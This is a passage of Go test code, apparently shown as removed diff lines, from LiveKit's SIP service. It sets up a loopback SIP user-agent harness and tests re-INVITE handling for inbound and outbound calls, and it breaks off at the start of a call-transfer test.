"github.com/livekit/sipgo/sip" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -type sipUATestOption func(*sipUATest) - -func withUATestBuffer(buffer uint) sipUATestOption { - return func(s *sipUATest) { - s.bufferSize = buffer - } -} - -func withUATestPort(port uint16) sipUATestOption { - return func(s *sipUATest) { - s.localAddr = netip.AddrPortFrom(s.localAddr.Addr(), port) - } -} - -func newUATest(t *testing.T, log logger.Logger, remote netip.AddrPort, options ...sipUATestOption) *sipUATest { - t.Helper() - - ua := &sipUATest{ - log: log, - remoteAddr: remote, - localAddr: netip.AddrPortFrom(netip.MustParseAddr("127.0.0.1"), 0), - } - for _, option := range options { - option(ua) - } - ua.sinks = make(map[string]map[string]chan *sipUARequest) - - var err error - ua.UA, err = sipgo.NewUA( - sipgo.WithUserAgent("from@test"), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(log))), - ) - require.NoError(t, err) - t.Cleanup(func() { ua.UA.Close() }) - - ua.Server, err = sipgo.NewServer(ua.UA) - require.NoError(t, err) - ua.Server.OnNoRoute(ua.onRequest) - t.Cleanup(func() { ua.Server.Close() }) - - err = ua.serveTransport(t, "tcp") - require.NoError(t, err) - err = ua.serveTransport(t, "udp") - require.NoError(t, err) - - // Should be after serveTransport to know the local port for sure - ua.Client, err = sipgo.NewClient(ua.UA) - require.NoError(t, err) - t.Cleanup(func() { ua.Client.Close() }) - - t.Cleanup(ua.CloseSinks) - return ua -} - -type sipUARequest struct { - req *sip.Request - tx sip.ServerTransaction -} - -type sipUATest struct { - bufferSize uint - log logger.Logger - - mu sync.Mutex - sinks map[string]map[string]chan *sipUARequest - - UA *sipgo.UserAgent - Server *sipgo.Server - Client *sipgo.Client - - remoteAddr netip.AddrPort // Address of the server under test (INVITE Request-URI / destination) - localAddr netip.AddrPort // Address where this UA's sipgo.Server listens (TCP/UDP) -} - -func (s *sipUATest) onRequest(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - method := req.Method.String() - var callID string - if hdr := req.CallID(); hdr != nil { - callID = hdr.Value() - } - var cseq uint32 - if hdr := req.CSeq(); hdr != nil { - cseq = hdr.SeqNo - } - var toTag string - if hdr := req.To(); hdr != nil { - toTag = hdr.Params.GetOr("tag", "") - } - - s.mu.Lock() - defer s.mu.Unlock() - dialogMethods, ok := s.sinks[toTag] - if !ok { - dialogMethods, ok = s.sinks[""] - } - if !ok { - s.log.Infow("No listeners found, ignoring", "callID", callID, "cseq", cseq, "method", method, "toTag", toTag) - return - } - - ch, ok := dialogMethods[method] - if !ok { - ch, ok = dialogMethods[""] - } - if !ok { - s.log.Infow("No listeners found, ignoring", "callID", callID, "cseq", cseq, "method", method, "toTag", toTag) - return - } - if ch == nil { // Closed, just stop - return - } - msg := &sipUARequest{req: req, tx: tx} - if s.bufferSize > 0 { - select { - case ch <- msg: - // OK - default: - s.log.Infow("Request buffer full, dropping", "callID", callID, "cseq", cseq, "method", method) - } - } else { - go func(msg *sipUARequest) { - ch <- msg - }(msg) - } -} - -func (s *sipUATest) serveTransport(t *testing.T, transport string) error { - addr := s.localAddr.String() - switch transport { - case "tcp": - tcpL, err := net.Listen("tcp", addr) - require.NoError(t, err) - if s.localAddr.Port() == 0 { - tcpAddr, ok := tcpL.Addr().(*net.TCPAddr) - if !ok { - return errors.New("address is not a TCP address") - } - s.localAddr = netip.AddrPortFrom(netip.MustParseAddr(tcpAddr.IP.String()), uint16(tcpAddr.Port)) - } - t.Cleanup(func() { tcpL.Close() }) - go func() { - err := s.Server.ServeTCP(tcpL) - if err != nil && !errors.Is(err, net.ErrClosed) { - s.log.Errorw("sip TCP server failed", err, "transport", transport, "addr", addr) - } - }() - case "udp": - udpAddr := &net.UDPAddr{IP: s.localAddr.Addr().AsSlice(), Port: int(s.localAddr.Port())} - udpConn, err := net.ListenUDP("udp", udpAddr) - require.NoError(t, err) - if s.localAddr.Port() == 0 { - localAddr, ok := udpConn.LocalAddr().(*net.UDPAddr) - if !ok { - return errors.New("address is not a UDP address") - } - s.localAddr = netip.AddrPortFrom(netip.MustParseAddr(localAddr.IP.String()), uint16(localAddr.Port)) - } - t.Cleanup(func() { udpConn.Close() }) - go func() { - err := s.Server.ServeUDP(udpConn) - if err != nil && !errors.Is(err, net.ErrClosed) { - s.log.Errorw("sip UDP server failed", err, "transport", transport, "addr", addr) - } - }() - } - return nil -} - -func (s *sipUATest) RegisterSink(localTag string, method string) <-chan *sipUARequest { - s.mu.Lock() - defer s.mu.Unlock() - dialogMethods, ok := s.sinks[localTag] - if !ok { - dialogMethods = make(map[string]chan *sipUARequest) - s.sinks[localTag] = dialogMethods - } - sink, ok := dialogMethods[method] - if !ok { - sink = make(chan *sipUARequest, s.bufferSize) - dialogMethods[method] = sink - } - return sink -} - -func (s *sipUATest) UnregisterSink(localTag string, method string) bool { - s.mu.Lock() - defer s.mu.Unlock() - dialogMethods, ok := s.sinks[localTag] - if !ok { - return false - } - sink, ok := dialogMethods[method] - if !ok { - return false - } - close(sink) - delete(dialogMethods, method) - return true -} - -func (s *sipUATest) CloseSinks() { - s.mu.Lock() - defer s.mu.Unlock() - for localTag, dialogMethods := range s.sinks { - for method, sink := range dialogMethods { - close(sink) - delete(dialogMethods, method) - } - delete(s.sinks, localTag) - } -} - -func (s *sipUATest) Address() netip.AddrPort { - return s.remoteAddr -} - -func (s *sipUATest) LocalURI() *sip.Uri { - return &sip.Uri{ - Scheme: "sip", - Host: s.localAddr.Addr().String(), - Port: int(s.localAddr.Port()), - } -} - -func (s *sipUATest) NewRequest(method sip.RequestMethod, fromUser string, toUser string, callID string, cseq uint32) *sip.Request { - remoteURI := sip.Uri{Scheme: "sip", User: toUser, Host: s.remoteAddr.String()} - localURI := sip.Uri{Scheme: "sip", User: fromUser, Host: s.localAddr.Addr().String(), Port: int(s.localAddr.Port())} - - req := sip.NewRequest(method, remoteURI) - fromTag := sip.GenerateTagN(16) - req.AppendHeader(&sip.FromHeader{ - Address: localURI, - Params: sip.HeaderParams{{K: "tag", V: fromTag}}, - }) - req.AppendHeader(&sip.ToHeader{ - Address: remoteURI, - }) - req.AppendHeader(&sip.ContactHeader{ - Address: localURI, - }) - callIDHdr := sip.CallIDHeader(callID) - req.AppendHeader(&callIDHdr) - req.AppendHeader(&sip.CSeqHeader{SeqNo: cseq, MethodName: method}) - req.SetDestination(s.remoteAddr.String()) - return req -} - -func (s *sipUATest) TransactionRequest(t *testing.T, req *sip.Request, isFromUAC bool) *sip.Response { - t.Helper() - tx, err := s.Client.TransactionRequest(req) - require.NoError(t, err) - defer tx.Terminate() - - resp := getFinalResponseOrFail(t, nil, tx) - if req.Method == sip.INVITE && resp.StatusCode < 300 { - // Need to send ACK for 2xx INVITE, sipgo already sends ACK for 3xx+ - ack := sip.NewAckRequest(req, resp, nil) - err = s.Client.WriteRequest(ack) - require.NoError(t, err) - } - return resp -} - -var index atomic.Int32 - -type sipUADialogTest struct { - TestUA *sipUATest - isUAS bool - callID string - localUser string - remoteUser string - localTag string - remoteTag LocalTag - localCseq uint32 - remoteCseq uint32 - remoteSDP []byte - localSDP []byte - routeSet []sip.Uri -} - -func newTestCall(testUA *sipUATest, isUAS bool) *sipUADialogTest { - i := index.Add(1) - d := &sipUADialogTest{ - TestUA: testUA, - isUAS: isUAS, - callID: fmt.Sprintf("callID-%d", i), - localUser: fmt.Sprintf("localTestUser-%d", i), - remoteUser: fmt.Sprintf("remoteTestUser-%d", i), - localTag: fmt.Sprintf("localTestTag-%d", i), - remoteTag: "", // Needs to be set by remote - localCseq: 1, - remoteCseq: 0, // Needs to be set by remote - } - if isUAS { - // sipUADialogTest generates CreateSipParticipantRequest, which needs the tag as input. - d.remoteTag = LocalTag(fmt.Sprintf("remoteTestTag-%d", i)) - } - return d -} - -func (d *sipUADialogTest) SetRemoteTag(tag LocalTag) { - d.remoteTag = tag -} - -func (d *sipUADialogTest) SetRemoteSDP(sdp []byte) { - d.remoteSDP = sdp -} - -func (d *sipUADialogTest) SetLocalSDP(sdp []byte) { - d.localSDP = sdp -} - -func (d *sipUADialogTest) SetRouteSet(resp *sip.Response, isUAC bool) { - rrHeaders := resp.GetHeaders("Record-Route") - routeSet := make([]sip.Uri, 0, len(rrHeaders)) - for _, hdr := range rrHeaders { - rr, ok := hdr.(*sip.RecordRouteHeader) - if ok { - routeSet = append(routeSet, rr.Address) - } - - } - if isUAC { - slices.Reverse(routeSet) - } - d.routeSet = routeSet -} - -func (d *sipUADialogTest) NewRequest(method sip.RequestMethod) *sip.Request { - req := d.TestUA.NewRequest(method, d.localUser, d.remoteUser, d.callID, d.localCseq) - d.localCseq++ - req.From().Params.Add("tag", string(d.localTag)) - if d.remoteTag != "" { - req.To().Params.Add("tag", string(d.remoteTag)) - } - if len(d.routeSet) > 0 { - for _, uri := range d.routeSet { - req.AppendHeader(&sip.RouteHeader{Address: uri}) - } - } - return req -} - -func (d *sipUADialogTest) Invite(offer []byte) (*sip.Request, []byte, error) { - if offer == nil { - sdpOffer, err := sdp.NewOfferWith(defaultCodecs, d.TestUA.localAddr.Addr(), 0xB0B, sdp.EncryptionNone) - if err != nil { - return nil, nil, err - } - offer, err = sdpOffer.SDP.Marshal() - if err != nil { - return nil, nil, err - } - } - req := d.NewRequest(sip.INVITE) - req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - req.SetBody(offer) - return req, offer, nil -} - -func (d *sipUADialogTest) CreateSipParticipantRequest() *rpc.InternalCreateSIPParticipantRequest { - req := MinimalCreateSIPParticipantRequest() - req.CallTo = d.localUser - req.Address = d.TestUA.localAddr.String() - req.Number = d.remoteUser - req.Hostname = d.TestUA.remoteAddr.Addr().String() - req.SipCallId = string(d.remoteTag) - return req -} - -func (d *sipUADialogTest) TransactionRequest(t *testing.T, req *sip.Request) *sip.Response { - return d.TestUA.TransactionRequest(t, req, !d.isUAS) -} - -func (d *sipUADialogTest) RegisterRequestChannel(method string) <-chan *sipUARequest { - return d.TestUA.RegisterSink(d.localTag, method) -} - -func (d *sipUADialogTest) UnregisterRequestChannel(method string) { - d.TestUA.UnregisterSink(d.localTag, method) -} - -type serviceTest struct { - TestUA *sipUATest - Server *Server // Processing inbound calls and SIP - Client *Client // Processing outbound calls - Handler Handler - Service *Service - - mu sync.RWMutex - Pending map[string]chan<- *sipUARequest -} - -type serviceTestConfig struct { - GetRoom GetRoomFunc -} - -// NewServiceTest builds a test harness that fakes a remote SIP peer and liveKit -// services. It uses sipgo over local network to send and receive SIP messages. - -// NOTE: Most tests should use this harness, with the following exceptions: -// 1. Next-hop routing. If a message would be sent to a destination we cannot intercept. -// 2. Noncompliant messages & behavior sipgo will not send or accept. -// In either one of these use cases, use NewTestSIP instead. -func NewServiceTest(t *testing.T, options *serviceTestConfig) *serviceTest { - t.Helper() - - if options == nil { - options = &serviceTestConfig{} - } - if options.GetRoom == nil { - options.GetRoom = newTestRoomConfig(nil) - } - - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - loopback := netip.MustParseAddr("127.0.0.1") - - conf := &config.Config{ - NodeID: "test-node", - MaxCpuUtilization: 0.9, - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - SIPRingingInterval: time.Second, - // wsUrl: "ws://localhost:7880", - // ApiKey: "test", - // ApiSecret: strings.Repeat("k", 32), - } - mon, err := stats.NewMonitor(conf) - require.NoError(t, err) - require.NoError(t, mon.Start(conf), "start monitor so metrics (e.g. inviteReqRaw) are registered") - t.Cleanup(func() { mon.Stop() }) - deadline := time.Now().Add(2 * time.Second) - for time.Now().Before(deadline) { - if mon.Health() == stats.HealthOK { - break - } - time.Sleep(50 * time.Millisecond) - } - require.Equal(t, stats.HealthOK, mon.Health(), "monitor should be healthy") - log := logger.NewTestLogger(t) - - cli := NewClient( - "", - conf, - log, - mon, - func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(&MockIOInfoClient{}) - }, - WithGetRoomClient(options.GetRoom), - ) - srv := NewServer( - "", - conf, - log, - mon, - func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(&MockIOInfoClient{}) - }, - WithGetRoomServer(options.GetRoom), - WithClient(cli), - ) - require.NotNil(t, srv) - - sconf := &ServiceConfig{ - SignalingIP: loopback, - SignalingIPLocal: loopback, - MediaIP: loopback, - } - - handler := &TestHandler{} - - err = srv.Start(nil, sconf, nil, cli.OnRequest) - require.NoError(t, err) - t.Cleanup(srv.Stop) - srv.SetHandler(handler) - - err = cli.Start(nil, sconf) - require.NoError(t, err) - t.Cleanup(cli.Stop) - cli.SetHandler(handler) - - addr := netip.AddrPortFrom(loopback, uint16(sipPort)) - - service := &Service{ - conf: conf, - log: log, - mon: mon, - cli: cli, - srv: srv, - pendingTransfers: make(map[LocalTag]*PendingTransfer), - } - s := &serviceTest{ - TestUA: newUATest(t, srv.log, addr, withUATestBuffer(64)), - Server: srv, - Client: cli, - Handler: handler, - Service: service, - Pending: make(map[string]chan<- *sipUARequest), - } - sink := s.TestUA.RegisterSink("", "INVITE") - t.Cleanup(func() { - s.TestUA.UnregisterSink("", "INVITE") - }) - wg := sync.WaitGroup{} - ctx, cancel := context.WithCancel(t.Context()) - t.Cleanup(wg.Wait) - t.Cleanup(cancel) - wg.Go(func() { - s.handleInvites(ctx, sink) - }) - return s -} - -func (st *serviceTest) handleInvites(ctx context.Context, pending <-chan *sipUARequest) { - for { - select { - case <-ctx.Done(): - return - case msg, ok := <-pending: - if !ok { - st.TestUA.log.Infow("pending channel closed") - return - } - if msg == nil || msg.req == nil { - st.TestUA.log.Infow("nil message", "request", msg) - continue - } - fromHeader := msg.req.From() - if fromHeader == nil { - st.TestUA.log.Infow("from header is nil", "request", msg.req) - continue - } - remoteTag := fromHeader.Params.GetOr("tag", "") - if remoteTag == "" { - st.TestUA.log.Infow("remote tag is empty", "request", msg.req) - continue - } - st.mu.RLock() - ch, ok := st.Pending[remoteTag] - st.mu.RUnlock() - if !ok { - st.TestUA.log.Infow("pending channel not found", "remoteTag", remoteTag) - continue - } - select { - case ch <- msg: - case <-ctx.Done(): - return - } - } - } -} - -func (st *serviceTest) Address() string { - return st.TestUA.Address().String() -} - -type createCallTestOption func(req *sip.Request, resp *sip.Response) - -func withTestHeaders(headers ...sip.Header) createCallTestOption { - return func(req *sip.Request, resp *sip.Response) { - if req != nil { - for _, header := range headers { - req.AppendHeader(sip.HeaderClone(header)) - } - } - } -} - -func (st *serviceTest) CreateInboundCall(t *testing.T, opts ...createCallTestOption) (*sipUADialogTest, *inboundCall) { - t.Helper() - - call := newTestCall(st.TestUA, false) - req, localSDP, err := call.Invite(nil) - require.NoError(t, err) - for _, opt := range opts { - opt(req, nil) - } - call.SetLocalSDP(localSDP) - resp := st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - remoteTag, ok := resp.To().Params.Get("tag") - require.True(t, ok, "remote tag should be present") - call.SetRemoteTag(LocalTag(remoteTag)) - call.SetRemoteSDP(resp.Body()) - call.SetRouteSet(resp, true) - t.Cleanup(func() { - bye := call.NewRequest(sip.BYE) - st.TestUA.TransactionRequest(t, bye, true) - }) - - st.Server.cmu.Lock() - defer st.Server.cmu.Unlock() - ic, ok := st.Server.byLocalTag[call.remoteTag] - require.True(t, ok, "call should be registered") - - t.Logf("inbound call: %+v", call) - return call, ic -} - -// CreateOutboundCall registers a fake outbound call so that a re-INVITE with the given localTag (To tag) -// is accepted as outbound reinvite and answered with sdpOffer. -func (st *serviceTest) CreateOutboundCall(t *testing.T, opts ...createCallTestOption) (*sipUADialogTest, *outboundCall, *sip.Request) { - t.Helper() - - call := newTestCall(st.TestUA, true) - req := call.CreateSipParticipantRequest() - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - inviteCh := make(chan *sipUARequest, 1) - st.mu.Lock() - st.Pending[string(call.remoteTag)] = inviteCh - st.mu.Unlock() - defer func() { - st.mu.Lock() - delete(st.Pending, string(call.remoteTag)) - st.mu.Unlock() - }() - - _, err := st.Client.CreateSIPParticipant(ctx, req) - require.NoError(t, err) - - var reqSink <-chan *sipUARequest - select { - case msg := <-inviteCh: - require.NotNil(t, msg, "unexpected nil message") - - require.Equal(t, string(call.remoteTag), msg.req.From().Params.GetOr("tag", ""), "remote tag should be the same") - require.Equal(t, call.remoteUser, msg.req.From().Address.User, "remote user should be the same") - require.Equal(t, call.localUser, msg.req.To().Address.User, "local user should be the same") - - for _, opt := range opts { - opt(msg.req, nil) // Simulate added headers - } - - offer, err := sdp.ParseOfferWith(defaultCodecs, msg.req.Body()) - require.NoError(t, err) - sdpAnswer, _, err := offer.Answer(netip.MustParseAddr("4.3.2.1"), 0xB00, sdp.EncryptionNone) - require.NoError(t, err) - answerBytes, err := sdpAnswer.SDP.Marshal() - require.NoError(t, err) - resp := sip.NewResponseFromRequest(msg.req, sip.StatusOK, "OK", answerBytes) - resp.To().Params.Add("tag", call.localTag) - - call.callID = msg.req.CallID().Value() - call.remoteCseq = msg.req.CSeq().SeqNo - call.SetRemoteSDP(msg.req.Body()) - call.SetLocalSDP(resp.Body()) - call.SetRouteSet(resp, false) - reqSink = st.TestUA.RegisterSink(call.localTag, "") - err = msg.tx.Respond(resp) - require.NoError(t, err) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for invite") - } - - var ackReq *sip.Request - select { - case msg := <-reqSink: - require.NotNil(t, msg, "unexpected nil message") - require.Equal(t, string(sip.ACK), string(msg.req.Method), "Expecting ACK") - require.Equal(t, call.remoteCseq, msg.req.CSeq().SeqNo, "remote cseq should be the same") - ackReq = msg.req - case <-ctx.Done(): - require.Fail(t, "timeout waiting for ACK") - } - t.Cleanup(func() { - bye := call.NewRequest(sip.BYE) - st.TestUA.TransactionRequest(t, bye, false) - }) - - st.Client.cmu.Lock() - defer st.Client.cmu.Unlock() - oc, ok := st.Client.activeCalls[call.remoteTag] - require.True(t, ok, "call should be registered") - - t.Logf("outbound call: %+v", call) - return call, oc, ackReq -} - -func getMediaPort(t *testing.T, m MediaPort) *mediaPort { - t.Helper() - port, ok := m.(*mediaPort) - require.True(t, ok, "media port should be a *mediaPort") - return port -} - -func getMediaPortRemoteAddr(t *testing.T, m MediaPort) netip.AddrPort { - t.Helper() - port := getMediaPort(t, m) - dst := port.port.dst.Load() - require.NotNil(t, dst, "destination should be set") - return *dst -} - -// incompatibleCodecOffer builds an SDP offer whose only audio codec is not the -// one already negotiated on m. -func incompatibleCodecOffer(t *testing.T, addr netip.AddrPort, m MediaPort) []byte { - t.Helper() - codecSet := testCodecSet(g711.ULawSDPNameAndRate) - ngotiated := m.NegotiatedAudio() - require.NotNil(t, ngotiated, "media must already be negotiated") - if ngotiated.Codec.Info().SDPName == g711.ULawSDPNameAndRate { - codecSet = testCodecSet(g711.ALawSDPNameAndRate) - } - sdpOffer, err := sdp.NewOfferWith(codecSet, addr.Addr(), int(addr.Port()), sdp.EncryptionNone) - require.NoError(t, err) - offer, err := sdpOffer.SDP.Marshal() - require.NoError(t, err) - return offer -} - -func TestReinvite(t *testing.T) { - st := NewServiceTest(t, nil) - t.Run("inbound", func(t *testing.T) { - t.Parallel() - t.Run("normal", func(t *testing.T) { - t.Parallel() - call, ic := st.CreateInboundCall(t) - serverLocalSDP := call.remoteSDP - - // Re-INVITE - req, _, err := call.Invite(call.localSDP) - require.NoError(t, err) - resp := st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") - - // Re-INVITE with new offer - newOffer, err := sdp.NewOfferWith(defaultCodecs, netip.MustParseAddr("9.8.7.6"), 12345, sdp.EncryptionNone) - require.NoError(t, err) - newOfferBytes, err := newOffer.SDP.Marshal() - require.NoError(t, err) - req, _, err = call.Invite(newOfferBytes) - require.NoError(t, err) - resp = st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") - - // After the re-INVITE with new offer, the media port destination must be updated. - require.Equal(t, newOffer.Addr, getMediaPortRemoteAddr(t, ic.media), "re-INVITE should redirect RTP to the new remote address") - }) - - t.Run("miss", func(t *testing.T) { - t.Parallel() - call, _ := st.CreateInboundCall(t) - serverLocalSDP := call.remoteSDP - - // Re-INVITE - req, _, err := call.Invite(call.localSDP) - require.NoError(t, err) - resp := st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") - - // re-INVITE with different tag - oldTag := call.remoteTag - call.remoteTag = "miss-" + call.remoteTag - t.Cleanup(func() { - req := call.NewRequest(sip.BYE) - st.TestUA.TransactionRequest(t, req, true) - call.remoteTag = oldTag - }) - req, _, err = call.Invite(call.localSDP) - require.NoError(t, err) - resp = st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.NotEqual(t, serverLocalSDP, resp.Body(), "reinvite for new call should return new server local SDP") - }) - - t.Run("no_body", func(t *testing.T) { - t.Parallel() - call, ic := st.CreateInboundCall(t) - serverLocalSDP := call.remoteSDP - initialRemote := getMediaPortRemoteAddr(t, ic.media) - - // Re-INVITE with no SDP body — destination must not change. - req := call.NewRequest(sip.INVITE) // no body, no Content-Type - resp := st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "body-less re-INVITE should still get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "body-less re-INVITE should return server local SDP") - require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, ic.media), "body-less re-INVITE must not change RTP destination") - }) - - t.Run("incompatible_codec", func(t *testing.T) { - // TODO: change this test to confirm renegotiation when it's enabled - t.Parallel() - call, ic := st.CreateInboundCall(t) - serverLocalSDP := call.remoteSDP - initialRemote := getMediaPortRemoteAddr(t, ic.media) - initialCodec := ic.media.NegotiatedAudio().Codec.Info().SDPName - - // TODO: Change to reflect full negotiation once enabled - updatedRemote := netip.MustParseAddrPort("9.8.7.6:12345") - req, _, err := call.Invite(incompatibleCodecOffer(t, updatedRemote, ic.media)) - require.NoError(t, err) - resp := st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "incompatible re-INVITE should get 200 OK") - require.Equal(t, updatedRemote, getMediaPortRemoteAddr(t, ic.media), "incompatible re-INVITE must still change RTP destination") - require.Equal(t, initialCodec, ic.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") - - // Re-INVITE with original codec - req, _, err = call.Invite(call.localSDP) - require.NoError(t, err) - resp = st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "original offer should still be accepted") - require.Equal(t, serverLocalSDP, resp.Body(), "successful re-INVITE should return server local SDP") - require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, ic.media), "original re-INVITE must restore RTP destination") - require.Equal(t, initialCodec, ic.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") - - }) - }) - t.Run("outbound", func(t *testing.T) { - t.Parallel() - t.Run("normal", func(t *testing.T) { - t.Parallel() - call, oc, _ := st.CreateOutboundCall(t) - serverLocalSDP, err := oc.media.GetLocalSDP() - require.NoError(t, err) - require.NotEqual(t, call.localSDP, serverLocalSDP, "local and remote SDP should be different") - - // Re-INVITE - req, _, err := call.Invite(call.localSDP) - require.NoError(t, err) - resp := st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") - - // Re-INVITE with new offer - newOffer, err := sdp.NewOfferWith(defaultCodecs, netip.MustParseAddr("9.8.7.6"), 12345, sdp.EncryptionNone) - require.NoError(t, err) - newOfferBytes, err := newOffer.SDP.Marshal() - require.NoError(t, err) - req, _, err = call.Invite(newOfferBytes) - require.NoError(t, err) - resp = st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") - - // After the re-INVITE with new offer, the media port destination must be updated. - require.Equal(t, newOffer.Addr, getMediaPortRemoteAddr(t, oc.media), "re-INVITE should redirect outbound call RTP to the new remote address") - }) - - t.Run("no_body", func(t *testing.T) { - t.Parallel() - call, oc, _ := st.CreateOutboundCall(t) - serverLocalSDP, err := getMediaPort(t, oc.media).GetLocalSDP() - require.NoError(t, err) - initialRemote := getMediaPortRemoteAddr(t, oc.media) - - // Re-INVITE with no SDP body — destination must not change. - req := call.NewRequest(sip.INVITE) // no body, no Content-Type - resp := st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "body-less re-INVITE should still get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "body-less re-INVITE should return server local SDP") - require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, oc.media), "body-less re-INVITE must not change RTP destination") - }) - - t.Run("miss", func(t *testing.T) { - t.Parallel() - call, oc, _ := st.CreateOutboundCall(t) - serverLocalSDP, err := getMediaPort(t, oc.media).GetLocalSDP() - require.NoError(t, err) - - // Re-INVITE - req, _, err := call.Invite(call.localSDP) - require.NoError(t, err) - resp := st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.Equal(t, serverLocalSDP, resp.Body(), "reinvite 200 OK should return server local SDP") - - // re-INVITE with different tag - call.remoteTag = "miss-" + call.remoteTag - req, _, err = call.Invite(call.localSDP) - require.NoError(t, err) - resp = st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "reinvite for outbound call should get 200 OK") - require.NotEqual(t, serverLocalSDP, resp.Body(), "reinvite for new call should return new server local SDP") - }) - - t.Run("incompatible_codec", func(t *testing.T) { - // TODO: change this test to confirm renegotiation when it's enabled - t.Parallel() - call, oc, _ := st.CreateOutboundCall(t) - serverLocalSDP, err := oc.media.GetLocalSDP() - require.NoError(t, err) - initialCodec := oc.media.NegotiatedAudio().Codec.Info().SDPName - initialRemote := getMediaPortRemoteAddr(t, oc.media) - - // TODO: Change to reflect full negotiation once enabled - updatedRemote := netip.MustParseAddrPort("9.8.7.6:12345") - req, _, err := call.Invite(incompatibleCodecOffer(t, updatedRemote, oc.media)) - require.NoError(t, err) - resp := st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "incompatible re-INVITE should get 200 OK") - require.Equal(t, updatedRemote, getMediaPortRemoteAddr(t, oc.media), "incompatible re-INVITE must still change RTP destination") - require.Equal(t, initialCodec, oc.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") - - // Re-INVITE with original codec - req, _, err = call.Invite(call.localSDP) - require.NoError(t, err) - resp = st.TestUA.TransactionRequest(t, req, true) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "original offer should still be accepted") - require.Equal(t, serverLocalSDP, resp.Body(), "successful re-INVITE should return server local SDP") - require.Equal(t, initialRemote, getMediaPortRemoteAddr(t, oc.media), "original re-INVITE must restore RTP destination") - require.Equal(t, initialCodec, oc.media.NegotiatedAudio().Codec.Info().SDPName, "Codec must not be updated") - }) - }) -} - -func TestTransfer(t *testing.T) { - const referTo = "tel:+15551234567" - st := NewServiceTest(t, nil) - - expectHeaders := func(referTo string, headers map[string]string) []sip.Header { - expected := []sip.Header{sip.NewHeader("Refer-To", fmt.Sprintf("<%s>", referTo))} - for name, value := range headers { - expected = append(expected, sip.NewHeader(name, value)) - } - return expected - } - - handleRefer := func(t *testing.T, ctx context.Context, refChan <-chan *sipUARequest, call *sipUADialogTest, referStatus int, validateHeaders []sip.Header) error { - t.Helper() - select { - case <-ctx.Done(): - return fmt.Errorf("test aborted without receiving a REFER request: %v", ctx.Err()) - case msg := <-refChan: - require.NotNil(t, msg) - require.Equal(t, sip.REFER, msg.req.Method) - require.Equal(t, call.localTag, msg.req.To().Params.GetOr("tag", "")) - for _, expectedHeader := range validateHeaders { - reqHeaders := msg.req.GetHeaders(expectedHeader.Name()) - found := false - for _, reqHeader := range reqHeaders { - if reqHeader.Value() == expectedHeader.Value() { - found = true - break - } - } - require.True(t, found, "REFER request should contain the expected header %s: %s, instead got: %v", expectedHeader.Name(), expectedHeader.Value(), reqHeaders) - } - t.Logf("Received REFER request, responding REFER-%d %s", referStatus, sipStatus(referStatus)) - resp := sip.NewResponseFromRequest(msg.req, referStatus, sipStatus(referStatus), nil) - return msg.tx.Respond(resp) - } - } - - type notifyOption func(*sip.Request) - - withSipfrag := func(status int) notifyOption { - return func(req *sip.Request) { - req.AppendHeader(sip.NewHeader("Content-Type", "message/sipfrag")) - req.SetBody([]byte(sip.NewResponse(status, sipStatus(status)).String())) - } - } - - withSubState := func(state string) notifyOption { - return func(req *sip.Request) { - req.AppendHeader(sip.NewHeader("Subscription-State", state)) - } - } - - // sendNotifyRaw sends a single NOTIFY built from opts and asserts we answer - // it 2xx. Without withSipfrag it carries no body, which a provider is - // allowed to do for the NOTIFY that terminates the subscription. - sendNotifyRaw := func(t 